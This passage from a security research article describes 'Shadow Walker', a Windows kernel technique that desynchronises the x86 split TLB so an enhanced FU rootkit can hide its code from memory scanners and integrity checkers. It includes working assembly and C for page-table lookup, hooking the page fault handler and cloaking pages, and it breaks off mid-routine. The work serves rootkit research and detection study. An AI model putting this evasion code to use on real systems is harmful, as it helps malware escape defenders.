arbitrary region of memory. When the detector attempts to read any region
of memory modified by the rootkit, it sees a 'normal', unaltered view of
memory. Only the rootkit sees the true, altered view of memory. Such a
rootkit is clearly capable of compromising all of the primary detection
methodologies to varying degrees. The implications to misuse detection are
obvious. A scanner attempts to read the memory for the loaded rootkit
driver looking for a code signature and the rootkit simply returns a
random, 'fake' view of memory (i.e. which does not include its own code) to
the scanner. There are also implications for integrity validation
approaches to detection. In these cases, the rootkit returns the unaltered
view of memory to all processes other than itself. The integrity checker
sees the unaltered code, finds a matching CRC or hash, and (erroneously)
assumes that all is well. Finally, any anomaly detection methods which
rely upon identifying deviant structural characteristics will be fooled
since they will receive a 'normal' view of the code. An example of this
might be a scanner like VICE which attempts to heuristically identify
inline function hooks by the presence of a direct jump at the beginning of
the function body.
Current rootkits, with the exception of Hacker Defender [4], have made
little or no effort to introduce viral polymorphism techniques. As stated
previously, while a valuable technique, polymorphism is not a comprehensive
solution to the problem for a rootkit because the rootkit cannot easily
camouflage the changes it must make to existing code in order to install
its hooks. Our objective, therefore, is to show proof of concept that the
current architecture permits subversion of memory management such that a
non polymorphic kernel mode rootkit (or virus) is capable of controlling
the view of memory regions seen by the operating system and other processes
with a minimal performance hit. The end result is that it is possible to
hide a 'known' public rootkit driver (for which a code signature exists)
from detection. To this end, we have designed an 'enhanced' version of the
FU rootkit. In section 1, we discuss the basic techniques used to detect a
rootkit. In section 2, we give a background summary of the x86 memory
architecture. Section 3 outlines the concept of memory cloaking and proof
of concept implementation for our enhanced rootkit. Finally, we
conclude with a discussion of its detectability, limitations, future
extensibility, and performance impact. Without further ado, we bid you
welcome to 4th generation rootkit technology.
--[ 1 - Rootkit Detection
Until several months ago, rootkit detection was largely ignored by security
vendors. Many mistakenly classified rootkits in the same category as other
viruses and malware. Because of this, security companies continued to use
the same detection methods the most prominent one being signature scans on
the file system. This is only partially effective. Once a rootkit is loaded
in memory is can delete itself on disk, hide its files, or even divert an
attempt to open the rootkit file. In this section, we will examine more
recent advances in rootkit detection.
----[ 1.2 - Detecting The Effect Of A Rootkit (Heuristics)
One method to detect the presence of a rootkit is to detect how it alters
other parameters on the computer system. In this way, the effects of the
rootkit are seen although the actual rootkit that caused the deviation may
not be known. This solution is a more general approach since no signature
for a particular rootkit is necessary. This technique is also looking for
the rootkit in memory and not on the file system.
One effect of a rootkit is that it usually alters the execution path of a
normal program. By inserting itself in the middle of a program's execution,
the rootkit can act as a middle man between the kernel functions the
program relies upon and the program. With this position of power, the
rootkit can alter what the program sees and does. For example, the rootkit
could return a handle to a log file that is different from the one the
program intended to open, or the rootkit could change the destination of
network communication. These rootkit patches or hooks cause extra
instructions to be executed. When a patched function is compared to a
normal function, the difference in the number of instructions executed can
be indicative of a rootkit. This is the technique used by PatchFinder [5].
One of the drawbacks of PatchFinder is that the CPU must be put into single
step mode in order to count instructions. So for every instruction executed
an interrupt is fired and must be handled. This slows the performance of
the system, which may be unacceptable on a production machine. Also, the
actual number of instructions executed can vary even on a clean system.
Another rootkit detection tool called VICE detects the presence of hooks in
applications and in the kernel . VICE analyzes the addresses of the
functions exported by the operating system looking for hooks. The exported
functions are typically the target of rootkits because by filtering certain
APIs rootkits can hide. By finding the hooks themselves, VICE avoids the
problems associated with instruction counting. However, VICE also relies
upon several APIs so it is possible for a rootkit to defeat its hook
detection [6]. Currently the biggest weakness of VICE is that it detects
all hooks both malicious and benign. Hooking is a legitimate technique used
by many security products.
Another approach to detecting the effects of a rootkit is to identify the
operating system lying. The operating system exposes a well-known API in
order for applications to interact with it. When the rootkit alters the
results of a particular API, it is a lie. For example, Windows Explorer may
request the number of files in a directory using several functions in the
Win32 API. If the rootkit changes the number of files that the application
can see, it is a lie. To detect the lie, a rootkit detector needs at least
two ways to obtain the same information. Then, both results can be
compared. RootkitRevealer [7] uses this technique. It calls the highest
level APIs and compares those results with the results of the lowest level
APIs. This method can be bypassed by a rootkit if it also hooks at those
lowest layers. RootkitRevealer also does not address data alterations. The
FU rootkit alters the kernel data structures in order to hide its
processes. RootkitRevealer does not detect this because both the higher and
lower layer APIs return the same altered data set. Blacklight from F-Secure
[8] also tries to detect deviations from the truth. To detect hidden
processes, it relies on an undocumented kernel structure. Just as FU walks
the linked list of processes to hide, Blacklight walks a linked list of
handle tables in the kernel. Every process has a handle table; therefore,
by identifying all the handle tables Blacklight can find a pointer to every
process on the computer. FU has been updated to also unhook the hidden
process from the linked list of handle tables. This arms race will
continue.
----[ 1.2 - Detecting the Rootkit Itself (Signatures)
Anti-virus companies have shown that scanning file systems for signatures
can be effective; however, it can be subverted. If the attacker camouflages
the binary by using a packing routine, the signature may no longer match
the rootkit. A signature of the rootkit as it will execute in memory is one
way to solve this problem. Some host based intrusion prevention systems
(HIPS) try to prevent the rootkit from loading. However, it is extremely
difficult to block all the ways code can be loaded in the kernel . Recent
papers by Jack Barnaby [9] and Chong [10] have highlighted the threat of
kernel exploits, which will allow arbitrary code to be loaded into memory
and executed.
Although file system scans and loading detection are needed, perhaps the
last layer of detection is scanning memory itself. This provides an added
layer of security if the rootkit has bypassed the previous checks. Memory
signatures are more reliable because the rootkit must unpack or unencrypt
in order to execute. Not only can scanning memory be used to find a
rootkit, it can be used to verify the integrity of the kernel itself since
it has a known signature. Scanning kernel memory is also much faster than
scanning everything on disk. Arbaugh et. al. [11] have taken this technique
to the next level by implementing the scanner on a separate card with its
own CPU.
The next section will explain the memory architecture on Intel x86.
--[ 2 - Memory Architecture Review
In early computing history, programmers were constrained by the amount of
physical memory contained in a system. If a program was too large to fit
into memory, it was the programmer's responsibility to divide the program
into pieces that could be loaded and unloaded on demand. These pieces were
called overlays. Forcing this type of memory management upon user level
programmers increased code complexity and programming errors while reducing
efficiency. Virtual memory was invented to relieve programmers of these
burdens.
----[ 2.1 - Virtual Memory - Paging vs. Segmentation
Virtual memory is based upon the separation of the virtual and physical
address spaces. The size of the virtual address space is primarily a
function of the width of the address bus whereas the size of the physical
address space is dependent upon the quantity of RAM installed in the
system. Thus, a system possessing a 32 bit bus is capable of addressing
2^32 (or ~4 GB) physical bytes of contiguous memory. It may, however, not
have anywhere near that quantity of RAM installed. If this is the case,
then the virtual address space will be larger than the physical address
space. Virtual memory divides both the virtual and physical address spaces
into fixed size blocks. If these blocks are all the same size, the system
is said to use a paging memory model. If the blocks are varying sizes, it
is considered to be a segmentation model. The x86 architecture is in fact a
hybrid, utlizing both segementation and paging, however, this article
focuses primarily upon exploitation of its paging mechanism.
Under a paging model, blocks of virtual memory are referred to as pages and
blocks of physical memory are referred to as frames. Each virtual page maps
to a designated physical frame. This is what enables the virtual address
space seen by programs to be larger than the amount of physically
addressable memory (i.e. there may be more pages than physical frames). It
also means that virtually contiguous pages do not have to be physically
contiguous. These points are illustrated by Figure 1.
VIRTUAL ADDRESS PHYSICAL ADDRESS
SPACE SPACE
/-------------\ /-------------\
| | | |
| PAGE 01 |---\ /----------->>>| FRAME 01 |
| | | | | |
--------------- | | ---------------
| | | | | |
| PAGE 02 |------------------->>>| FRAME 02 |
| | | | | |
--------------- | | ---------------
| | | | | |
| PAGE 03 | \---|----------->>>| FRAME 03 |
| | | | |
--------------- | \-------------/
| | |
| PAGE 04 | |
| | |
|-------------| |
| | |
| PAGE 05 |-------/
| |
\-------------/
[ Figure 1 - Virtual To Physical Memory Mapping (Paging) ]
[ ]
[ NOTE: 1. Virtual & physical address spaces are divided into ]
[ fixed size blocks. 2. The virtual address space may be larger ]
[ than the physical address space. 3. Virtually contiguous ]
[ blocks to not have to be mapped to physically contiguous ]
[ frames. ]
----[ 2.2 - Page Tables & PTE's
The mapping information that connects a virtual address with its physical
frame is stored in page tables in structures known as PTE's. PTE's also
store status information. Status bits may indicate, for example, weather or
not a page is valid (physically present in memory versus stored on disk),
if it is writable, or if it is a user / supervisor page. Figure 2 shows the
format for an x86 PTE.
Valid <------------------------------------------------\
Read/Write <--------------------------------------------\ |
Privilege <----------------------------------------\ | |
Write Through <------------------------------------\ | | |
Cache Disabled <--------------------------------\ | | | |
Accessed <---------------------------\ | | | | |
Dirty <-----------------------\ | | | | | |
Reserved <-------------------\ | | | | | | |
Global <---------------\ | | | | | | | |
Reserved <----------\ | | | | | | | | |
Reserved <-----\ | | | | | | | | | |
Reserved <-\ | | | | | | | | | | |
| | | | | | | | | | | |
+----------------+---+----+----+---+---+---+----+---+---+---+---+-+
| | | | | | | | | | | U | R | |
| PAGE FRAME # | U | P | Cw | Gl | L | D | A | Cd | Wt| / | / | V |
| | | | | | | | | | | S | W | |
+-----------------------------------------------------------------+
[ Figure 2 - x86 PTE FORMAT (4 KBYTE PAGE) ]
----[ 2.4 - Virtual To Physical Address Translation
Virtual addresses encode the information necessary to find their PTE's in
the page table. They are divided into 2 basic parts: the virtual page
number and the byte index. The virtual page number provides the index into
the page table while the byte index provides an offset into the physical
frame. When a memory reference occurs, the PTE for the page is looked up in
the page table by adding the page table base address to the virtual page
number * PTE entry size. The base address of the page in physical memory is
then extracted from the PTE and combined with the byte offset to define the
physical memory address that is sent to the memory unit. If the virtual
address space is particularly large and the page size relatively small, it
stands to reason that it will require a large page table to hold all of the
mapping information. And as the page table must remain resident in main
memory, a large table can be costly. One solution to this dilemma is to use
a multi-level paging scheme. A two-level paging scheme, in effect, pages
the page table. It further subdivides the virtual page number into a page
directory and a page table index. The page directory is simply a table of
pointers to page tables. This two level paging scheme is the one supported
by the x86. Figure 3 illustrates how the virtual address is divided up to
index the page directory and page tables and Figure 4 illustrates the
process of address translation.
+---------------------------------------+
| 31 12 | 0
| +----------------+ +----------------+ | +---------------+
| | PAGE DIRECTORY | | PAGE TABLE | | | BYTE INDEX |
| | INDEX | | INDEX | | | |
| +----------------+ +----------------+ | +---------------+
| 10 bits 10 bits | 12 bits
| |
| VIRTUAL PAGE NUMBER |
+---------------------------------------+
[ Figure 3 - x86 Address & Page Table Indexing Scheme ]
+--------+
/-|KPROCESS|
| +--------+
| Virtual Address
| +------------------------------------------+
| | Page Directory | Page Table | Byte Index |
| | Index | Index | |
| +-+-------------------+-------------+------+
| | +---+ | |
| | |CR3| Physical | |
| | +---+ Address Of | |
| | Page Dir | |
| | | \------ -\
| | | |
| | Page Directory | Page Table | Physical Memory
\---|->+------------+ | /-->+------------+ \---->+------------+
| | | | | | | | |
| | | | | | | | |
| | | | | | | |------------|
| | | | | | | | |
| |------------| | | | | | Page |
\->| PDN |---|-/ | | | Frame |
|------------| | | | /----> |
| | | | | | |------------|
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | |------------| | | |
| | \---->| PFN -------/ | |
| | |------------| | |
+------------+ +------------+ +------------+
(1 per process) (512 per processs)
[ Figure 4 - x86 Address Translation ]
A memory access under a 2 level paging scheme potentially involves the
following sequence of steps.
1. Lookup of page directory entry (PDE).
Page Directory Entry = Page Directory Base Address + sizeof(PDE) * Page
Directory Index (extracted from virtual address that caused the memory
access)
NOTE: Windows maps the page directory to virtual address 0xC0300000.
Base addresses for page directories are also located in KPROCESS blocks
and the register cr3 contains the physical address of the current
page directory.
2. Lookup of page table entry.
Page Table Entry = Page Table Base Address + sizeof(PTE) * Page Table
Index (extracted from virtual address that caused the memory access).
NOTE: Windows maps the page directory to virtual address 0xC0000000.
The base physical address for the page table is also stored in the page
directory entry.
3. Lookup of physical address.
Physical Address = Contents of PTE + Byte Index
NOTE: PTEs hold the physical address for the physical frame. This is
combined with the byte index (offset into the frame) to form the
complete physical address. For those who prefer code to explanation, the
following two routines show how this translation occurs. The first
routine, GetPteAddress performs steps 1 and 2 described above. It
returns a pointer to the page table entry for a given virtual address.
The second routine returns the base physical address of the frame to
which the page is mapped.
#define PROCESS_PAGE_DIR_BASE 0xC0300000
#define PROCESS_PAGE_TABLE_BASE 0xC0000000
typedef unsigned long* PPTE;
/**************************************************************************
* GetPteAddress - Returns a pointer to the page table entry corresponding
* to a given memory address.
*
* Parameters:
* PVOID VirtualAddress - Address you wish to acquire a pointer to the
* page table entry for.
*
* Return - Pointer to the page table entry for VirtualAddress or an error
* code.
*
* Error Codes:
* ERROR_PTE_NOT_PRESENT - The page table for the given virtual
* address is not present in memory.
* ERROR_PAGE_NOT_PRESENT - The page containing the data for the
* given virtual address is not present in
* memory.
**************************************************************************/
PPTE GetPteAddress( PVOID VirtualAddress )
{
PPTE pPTE = 0;
__asm
{
cli //disable interrupts
pushad
mov esi, PROCESS_PAGE_DIR_BASE
mov edx, VirtualAddress
mov eax, edx
shr eax, 22
lea eax, [esi + eax*4] //pointer to page directory entry
test [eax], 0x80 //is it a large page?
jnz Is_Large_Page //it's a large page
mov esi, PROCESS_PAGE_TABLE_BASE
shr edx, 12
lea eax, [esi + edx*4] //pointer to page table entry (PTE)
mov pPTE, eax
jmp Done
//NOTE: There is not a page table for large pages because
//the phys frames are contained in the page directory.
Is_Large_Page:
mov pPTE, eax
Done:
popad
sti //reenable interrupts
}//end asm
return pPTE;
}//end GetPteAddress
/**************************************************************************
* GetPhysicalFrameAddress - Gets the base physical address in memory where
* the page is mapped. This corresponds to the
* bits 12 - 32 in the page table entry.
*
* Parameters -
* PPTE pPte - Pointer to the PTE that you wish to retrieve the
* physical address from.
*
* Return - The physical address of the page.
**************************************************************************/
ULONG GetPhysicalFrameAddress( PPTE pPte )
{
ULONG Frame = 0;
__asm
{
cli
pushad
mov eax, pPte
mov ecx, [eax]
shr ecx, 12 //physical page frame consists of the
//upper 20 bits
mov Frame, ecx
popad
sti
}//end asm
return Frame;
}//end GetPhysicalFrameAddress
----[ 2.5 - The Role Of The Page Fault Handler
Since many processes only use a small portion of their virtual address
space, only the used portions are mapped to physical frames. Also, because
physical memory may be smaller than the virtual address space, the OS may
move less recently used pages to disk (the pagefile) to satisfy current
memory demands. Frame allocation is handled by the operating system. If a
process is larger than the available quantity of physical memory, or the
operating system runs out of free physical frames, some of the currently
allocated frames must be swapped to disk to make room. These swapped out
pages are stored in the page file. The information about whether or not a
page is resident in main memory is stored in the page table entry. When a
memory access occurs, if the page is not present in main memory a page
fault is generated. It is the job of the page fault handler to issue the
I/O requests to swap out a less recently used page if all of the available
physical frames are full and then to bring in the requested page from the
pagefile. When virtual memory is enabled, every memory access must be
looked up in the page table to determine which physical frame it maps to
and whether or not it is present in main memory. This incurs a substantial
performance overhead, especially when the architecture is based upon a
multi-level page table scheme like the Intel Pentium. The memory access
page fault path can be summarized as follows.
1. Lookup in the page directory to determine if the page table for the
address is present in main memory.
2. If not, an I/O request is issued to bring in the page table from disk.
3. Lookup in the page table to determine if the requested page is present
in main memory.
4. If not, an I/O request is issued to bring in the page from disk.
5. Lookup the requested byte (offset) in the page.
Therefore every memory access, in the best case, actually requires 3 memory
accesses : 1 to access the page directory, 1 to access the page table, and
1 to get the data at the correct offset. In the worst case, it may require
an additional 2 disk I/Os (if the pages are swapped out to disk). Thus,
virtual memory incurs a steep performance hit.
----[ 2.6 - The Paging Performance Problem & The TLB
The translation lookaside buffer (TLB) was introduced to help mitigate this
problem. Basically, the TLB is a hardware cache which holds frequently used
virtual to physical mappings. Because the TLB is implemented using
extremely fast associative memory, it can be searched for a translation
much faster than it would take to look that translation up in the page
tables. On a memory access, the TLB is first searched for a valid
translation. If the translation is found, it is termed a TLB hit.
Otherwise, it is a miss. A TLB hit, therefore, bypasses the slower page
table lookup. Modern TLB's have an extremely high hit rate and
therefore seldom incur miss penalty of looking up the translation in the
page table.
--[ 3 - Memory Cloaking Concept
One goal of an advanced rootkit is to hide its changes to executable code
(i.e. the placement of an inline patch, for example). Obviously, it may
also wish to hide its own code from view. Code, like data, sits in memory
and we may define the basic forms of memory access as:
- EXECUTE
- READ
- WRITE
Technically speaking, we know that each virtual page maps to a physical
page frame defined by a certain number of bits in the page table entry.
What if we could filter memory accesses such that EXECUTE accesses mapped
to a different physical frame than READ / WRITE accesses? From a rootkit's
perspective, this would be highly advantageous. Consider the case of an
inline hook. The modified code would run normally, but any attempts to read
(i.e. detect) changes to the code would be diverted to a 'virgin' physical
frame that contained a view of the original, unaltered code. Similarly, a
rootkit driver might hide itself by diverting READ accesses within its
memory range off to a page containing random garbage or to a page
containing a view of code from another 'innocent' driver. This would imply
that it is possible to spoof both signature scanners and integrity
monitors. Indeed, an architectural feature of the Pentium architecture
makes it possible for a rootkit to perform this little trick with a minimal
impact on overall system performance. We describe the details in the next
section.
----[ 3.1 - Hiding Executable Code
Ironically, the general methodology we are about to discuss is an
offensive extension of an existing stack overflow protection scheme known
as PaX. We briefly discuss the PaX implementation in 3.3 under related
work.
In order to hide executable code, there are at least 3 underlying issues
which must be addressed:
1. We need a way to filter execute and read / write accesses.
2. We need a way to "fake" the read / write memory accesses
when we detect them.
3. We need to ensure that performance is not adversly affected.
The first issue concerns how to filter execute accesses from read / write
accesses. When virtual memory is enabled, memory access restrictions are
enforced by setting bits in the page table entry which specify whether a
given page is read-only or read-write. Under the IA-32 architecture,
however, all pages are executable. As such, there is no official way to
filter execute accesses from read / write accesses and thus enforce the
execute-only / diverted read-write semantics necessary for this scheme
to work. We can, however, trap and filter memory accesses by marking their
PTE's non present and hooking the page fault handler. In the page fault
handler we have access to the saved instruction pointer and the faulting
address. If the instruction pointer equals the faulting address, then it is
an execute access. Otherwise, it is a read / write. As the OS uses the
present bit in memory management, we also need to differentiate between
page faults due to our memory hook and normal page faults. The simplest
way is to require that all hooked pages either reside in non paged memory
or be explicitly locked down via an API like MmProbeAndLockPages.
The next issue concerns how to "fake" the EXECUTE and READ / WRITE accesses
when we detect them (and do so with a minimal performance hit). In this
case, the Pentium TLB architecture comes to the rescue. The pentium
possesses a split TLB with one TLB for instructions and the other for data.
As mentioned previously, the TLB caches the virtual to physical page frame
mappings when virtual memory is enabled. Normally, the ITLB and DTLB are
synchronized and hold the same physical mapping for a given page. Though
the TLB is primarily hardware controlled, there are several software
mechanisms for manipulating it.
- Reloading cr3 causes all TLB entries except global entries to be
flushed. This typically occurs on a context switch.
- The invlpg causes a specific TLB entry to be flushed.
- Executing a data access instruction causes the DTLB to be loaded with
the mapping for the data page that was accessed.
- Executing a call causes the ITLB to be loaded with the mapping for the
page containing the code executed in response to the call.
We can filter execute accesses from read / write accesses and fake them by
desynchronizing the TLB's such that the ITLB holds a different virtual to
physical mapping than the DTLB. This process is performed as follows:
First, a new page fault handler is installed to handle the cloaked page
accesses. Then the page-to-be-hooked is marked not present and it's
TLB entry is flushed via the invlpg instruction. This ensures that all
subsequent accesses to the page will be filtered through the installed
page fault handler. Within the installed page fault handler, we determine
whether a given memory access is due to an execute or read/write by
comparing the saved instruction pointer with the faulting address. If they
match, the memory access is due to an execute. Otherwise, it is due to a
read / write. The type of access determines which mapping is manually
loaded into the ITLB or DTLB. Figure 5 provides a conceptual view
of this strategy.
Lastly, it is important to note that TLB access is much faster than
performing a page table lookup. In general, page faults are costly.
Therefore, at first glance, it might appear that marking the hidden pages
not present would incur a significant performance hit. This is, in fact,
not the case. Though we mark the hidden pages not present, for most memory
accesses we do not incur the penalty of a page fault because the entries
are cached in the TLB. The exceptions are, of course, the initial faults
that occur after marking the cloaked page not present and any subsequent
faults which result from cache line evictions when a TLB set becomes full.
Thus, the primary job of the new page fault handler is to explicitly and
selectively load the DTLB or ITLB with the correct mappings for hidden
pages. All faults originating on other pages are passed down to the
operating system page fault handler.
+-------------+
rootkit code | FRAME 1 |
Is it a +-----------+ /------------->| |
code | | | |-------------|
access? | ITLB | | | FRAME 2 |
/------>|-----------|-----------/ | |
| | VPN=12 | |-------------|
| | Frame=1 | | FRAME 3 |
| +-----------+ | |
| +-------------+ |-------------|
MEMORY | PAGE TABLES | | FRAME 4 |
ACCESS +-------------+ | |
VPN=12 |-------------|
| | FRAME 5 |
| +-----------+ | |
| | | |-------------|
| | DTLB | random garbage | FRAME 6 |
|------>|------------------------------------->| |
Is it a | VPN=12 | |-------------|
data | Frame=6 | | FRAME N |
access? +-----------+ | |
+-------------+
[ Figure 5 - Faking Read / Writes by Desynchronizing the Split TLB ]
----[ 3.2 - Hiding Pure Data
Hiding data modifications is significantly less optimal than hiding code
modifications, but it can be accomplished provided that one is willing to
accept the performance hit. We cause a minimal performance loss when
hiding executable code by virtue of the fact that the ITLB can maintain a
different mapping than the DTLB. Code can execute very fast with a minimum
of page faults because that mapping is always present in the ITLB (except
in the rare event the ITLB entry gets evicted from the cache).
Unfortunately, in the case of data we can't introduce any such
inconsistency. There is only 1 DTLB and consequently that DTLB has to be
kept empty if we are to catch and filter specific data accesses. The end
result is 1 page fault per data access. This is not be a big problem in
terms of hiding a specific driver if the driver is carefully designed and
uses a minimum of global data, but the performance hit could be formidable
when trying to hide a frequently accessed data page.
For data hiding, we have used a protocol based approach between the hidden
driver and the memory hook. We use this to show how one might hide global
data in a rootkit driver. In order to allow the memory access to go throug
the DTLB is loaded in the page fault handler. In order to enforce the
correct filtering of data accesses, however, it must be flushed immediately
by the requesting driver to ensure that no other code accesses that memory
address and receives the data resulting from an incorrect mapping.
The protocol for accessing data on a hidden page is as follows:
1. The driver raises the IRQL to DISPATCH_LEVEL (to ensure that no other
code gets to run which might see the "hidden" data as opposed to the
"fake" data).
2. The driver must explicitly flush the TLB entry for the page containing
the cloaked variable using the invlpg instruction. In the event that
some other process has attempted to access our data page and been
served with the fake frame (i.e. we don't want to receive the fake
mapping which may still reside in the TLB so we clear it to be sure).
3. The driver is allowed to perform the data access.
4. The driver must explicitly flush the TLB entry for the page containing
the cloaked variable using the invlpg instruction (i.e. so that the
"real" mapping does not remain in the TLB. We don't want any other
drivers or processes receiving the hidden mapping so we clear it).
5. The driver lowers the IRQL to the previous level before it was raised.
The additional restriction also applies:
- No global data can be passed to kernel API functions. When calling an
API, global data must be copied into local storage on the stack and
passed into the API function (i.e. if the API accesses the cloaked
variable it will receive fake data and perform incorrectly).
This protocol can be efficiently implemented in the hidden driver by having
the driver copy all global data over into local variables at the beginning
of the routine and then copy the data back after the function body has
completed executing. Because stack data is in a constant state of flux, it
is unlikely that a signature could be reliably obtained from global data
on the stack. In this way, there is no need to cause a page fault on every
global access. In general, only one page fault is required to copy over the
data at the beginning of the routine and one fault to copy the data back at
the end of the routine. Admittedly, this disregards more complex issues
involved with multithreaded access and synchronization. An alternative
approach to using a protocol between the driver and PF handler would
be to single step the instruction causing the memory access. This would
be less cumbersome for the driver and yet allow the PF handler to maintain
control of the DTLB (ie. to flush it after the data access so that it
remains empty).
----[ 3.3 - Related Work
Ironically, the memory cloaking technology discussed in this article is
derived from an existing stack overflow protection scheme known as PaX .
As such, we demonstrate a potentially offensive application of an
originally defensive technology. Though very similar (i.e. taking advantage
of the Pentium split TLB architecture), there are subtle differences
between PaX and the rootkit application of the technology. Whereas our
memory cloaked rootkit enforces execute, diverted read / write semantics,
PaX enforces read / write, no execute semantics. This enables PaX to
provide software support for a non executable stack under the IA-32
architecture, thereby thwarting a large class of stack based buffer
overflow attacks. When a PaX protected system detects an attempted execute
in a read / write only range of memory, it terminates the offending
process. Hardware support for non executable memory has subsequently been
added to the page table entry format for some processors including IA-64
and pentium 4. In contrast to PaX, our rootkit handler allows
execution to proceed normally while diverting read / write accesses to
the hidden page off to an innocent appearing shadow page. Finally, it should
be noted that PaX uses the PTE user / supervisor bit to generate the
page faults required to enforce its protection. This limits it to protection
of solely user mode pages which is an impractical limitation for a
kernel mode rootkit. As such, we use the PTE present / not present bit
in our implementation.
----[ 3.4 - Proof Of Concept Implementation
Our current implementation uses a modified FU rootkit and a new page fault
handler called Shadow Walker. Since FU alters kernel data structures to
hide processes and does not utilize any code hooks, we only had to be
concerned with hiding the FU driver in memory. The kernel accounts for
every process running on the system by storing an object called an EPROCESS
block for each process in an internal linked list. FU disconnects the
process it wants to hide from this linked list.
------[ 3.4.a - Modified FU Rootkit
We modified the current version of the FU rootkit taken from rootkit.com.
In order to make it more stealthy, its dependence on a userland
initialization program was removed. Now, all setup information in the form
of OS dependant offsets are derived with a kernel level function. By
removing the userland portion, we eliminated the need to create a symbolic
link to the driver and the need to create a functional device, both of
which are easily detected. Once FU is installed, its image on the file
system can be deleted so all anti-virus scans on the file system will fail
to find it. You can also imagine that FU could be installed from a kernel
exploit and loaded into memory thereby avoiding any image on disk
detection. Also, FU hides all processes whose names are prefixed with
_fu_ regardless of the process ID (PID). We create a System thread that
continually scans this list of processes looking for this prefix. FU and
the memory hook, Shadow Walker, work in collusion; therefore, FU relies on
Shadow Walker to remove the driver from the linked list of drivers in
memory and from the Windows Object Manager's driver directory.
----[ 3.4.b - Shadow Walker Memory Hook Engine
Shadow Walker consists of a memory hook installation module and a new page
fault handler. The memory hook module takes the virtual address of the
page to be hidden as a parameter. It uses the information contained in the
address to perform a few sanity checks. Shadow Walker then installs the new
page fault handler by hooking Int 0E (if it has not been previously
installed) and inserts the information about the hidden page into a hash
table so that it can be looked up quickly on page faults. Lastly, the PTE
for the page is marked non present and the TLB entry for the hidden page
is flushed. This ensures that all subsequent accesses to the page are
filtered by the new page fault handler.
/*************************************************************************
* HookMemoryPage - Hooks a memory page by marking it not present
* and flushing any entries in the TLB. This ensure
* that all subsequent memory accesses will generate
* page faults and be filtered by the page fault handler.
*
* Parameters:
* PVOID pExecutePage - pointer to the page that will be used on
* execute access
*
* PVOID pReadWritePage - pointer to the page that will be used to load
* the DTLB on data access *
*
* PVOID pfnCallIntoHookedPage - A void function which will be called
* from within the page fault handler to
* to load the ITLB on execute accesses
*
* PVOID pDriverStarts (optional) - Sets the start of the valid range
* for data accesses originating from
* within the hidden page.
*
* PVOID pDriverEnds (optional) - Sets the end of the valid range for
* data accesses originating from within
* the hidden page.
* Return - None
**************************************************************************/
void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage,
PVOID pfnCallIntoHookedPage, PVOID pDriverStarts,
PVOID pDriverEnds )
{
HOOKED_LIST_ENTRY HookedPage = {0};
HookedPage.pExecuteView = pExecutePage;
HookedPage.pReadWriteView = pReadWritePage;
HookedPage.pfnCallIntoHookedPage = pfnCallIntoHookedPage;
if( pDriverStarts != NULL)
HookedPage.pDriverStarts = (ULONG)pDriverStarts;
else
HookedPage.pDriverStarts = (ULONG)pExecutePage;
if( pDriverEnds != NULL)
HookedPage.pDriverEnds = (ULONG)pDriverEnds;
else
{ //set by default if pDriverEnds is not specified
if( IsInLargePage( pExecutePage ) )
HookedPage.pDriverEnds =
(ULONG)HookedPage.pDriverStarts + LARGE_PAGE_SIZE;
else
HookedPage.pDriverEnds =
(ULONG)HookedPage.pDriverStarts + PAGE_SIZE;
}//end if
__asm cli //disable interrupts
if( hooked == false )
{ HookInt( &g_OldInt0EHandler,
(unsigned long)NewInt0EHandler, 0x0E );
hooked = true;
}//end if
HookedPage.pExecutePte = GetPteAddress( pExecutePage );
HookedPage.pReadWritePte = GetPteAddress( pReadWritePage );
//Insert the hooked page into the list
PushPageIntoHookedList( HookedPage );
//Enable the global page feature
EnableGlobalPageFeature( HookedPage.pExecutePte );
//Mark the page non present
MarkPageNotPresent( HookedPage.pExecutePte );
//Go ahead and flush the TLBs. We want to guarantee that all
//subsequent accesses to this hooked page are filtered
//through our new page fault handler.
__asm invlpg pExecutePage
__asm sti //reenable interrupts
}//end HookMemoryPage
The functionality of the page fault handler is relatively straight forward
despite the seeming complexity of the scheme. Its primary functions are
to determine if a given page fault is originating from a hooked page,
resolve the access type, and then load the appropriate TLB. As such, the
page fault handler has basically two execution paths. If the page is
unhooked, it is passed down to the operating system page fault handler.
This is determined as quickly and efficiently as possible. Faults
originating from user mode addresses or while the processor is running in
user mode are immediately passed down. The fate of kernel mode accesses is
also quickly decided via a hash table lookup. Alternatively, once the page
has been determined to be hooked the access type is checked and directed to
the appropriate TLB loading code (Execute accesses will cause a ITLB load
while Read / Write accesses cause a DTLB load). The procedure for TLB
loading is as follows:
1. The appropriate physical frame mapping is loaded into the PTE for the
faulting address.
2. The page is temporarily marked present.
3. For a DTLB load, a memory read on the hooked page is performed.
4. For an ITLB load, a call into the hooked page is performed.
5. The page is marked as non present again.
6. The old physical frame mapping for the PTE is restored.
After TLB loading, control is directly returned to the faulting code.
/**************************************************************************
* NewInt0EHandler - Page fault handler for the memory hook engine (aka. the
* guts of this whole thing ;)
*
* Parameters - none
*
* Return - none
*
***************************************************************************
void __declspec( naked ) NewInt0EHandler(void)
{
__asm
{
pushad
mov edx, dword ptr [esp+0x20] //PageFault.ErrorCode
test edx, 0x04 //if the processor was in user mode, then
jnz PassDown //pass it down
mov eax,cr2 //faulting virtual address
cmp eax, HIGHEST_USER_ADDRESS
jbe PassDown //we don't hook user pages, pass it down
////////////////////////////////////////
//Determine if it's a hooked page
/////////////////////////////////////////
push eax
call FindPageInHookedList
mov ebp, eax //pointer to HOOKED_PAGE structure
cmp ebp, ERROR_PAGE_NOT_IN_LIST
jz PassDown //it's not a hooked page
///////////////////////////////////////
//NOTE: At this point we know it's a
//hooked page. We also only hook
//kernel mode pages which are either
//non paged or locked down in memory
//so we assume that all page tables
//are resident to resolve the address
//from here on out.
/////////////////////////////////////
mov eax, cr2
mov esi, PROCESS_PAGE_DIR_BASE
mov ebx, eax
shr ebx, 22
lea ebx, [esi + ebx*4] //ebx = pPTE for large page
test [ebx], 0x80 //check if its a large page
jnz IsLargePage
mov esi, PROCESS_PAGE_TABLE_BASE
mov ebx, eax
shr ebx, 12
lea ebx, [esi + ebx*4] //ebx = pPTE
IsLargePage:
cmp [esp+0x24], eax //Is due to an attepmted execute?
jne LoadDTLB
////////////////////////////////
// It's due to an execute. Load
// up the ITLB.
///////////////////////////////
cli
or dword ptr [ebx], 0x01 //mark the page present
call [ebp].pfnCallIntoHookedPage //load the itlb
and dword ptr [ebx], 0xFFFFFFFE //mark page not present
sti
jmp ReturnWithoutPassdown
////////////////////////////////
// It's due to a read /write
// Load up the DTLB
///////////////////////////////
///////////////////////////////
